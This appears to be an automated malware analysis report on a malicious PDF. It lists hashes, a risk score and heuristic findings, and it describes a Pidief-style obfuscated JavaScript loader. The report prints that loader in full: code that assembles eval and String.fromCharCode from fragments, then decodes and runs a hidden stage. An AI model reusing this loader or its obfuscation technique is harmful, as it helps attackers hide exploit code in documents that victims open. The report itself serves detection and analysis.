Malicious PDF — malware analysis report

Static analysis result for SHA-256 3f37696436d361ad…

MALICIOUS

PDF

45.3 KB First seen: 2013-08-03
MD5: 146f6eaba5be38f061b1b81c9f5af130 SHA-1: 4225a1ba9e7875c88dce9efde904a78d4bc682ff SHA-256: 3f37696436d361ada0b75e56828045d8b4333508af71d392ad9db8ef63e34a2a
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly suggests malicious intent. The embedded JavaScript stream, named javascript_obj0001_000.js, is the primary indicator of a potential attack. The document body 'test' provides no contextual information, so the rationale is based solely on the presence and classification of the embedded script.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB267 451 bytes
SHA-256: c435fe5ec4bb55cd139ed653febb09bedc4a36b60c710c1add38085bfef653e7
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
jpqj='';
zlo=('qwrwqr','tit');
e('axsj=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
lhwq=e('String.fr'+axsj.substr(0,10));
urgme = e(axsj.substr(10)['replace'](/u/g,','));
e('k=urgme.length');
for (i = 0; i < k; i+=2) {
	tacgb = urgme[i+1] + ('erybjkerl',urgme[i]);
	jpqj += lhwq(tacgb);
}
e(jpqj);

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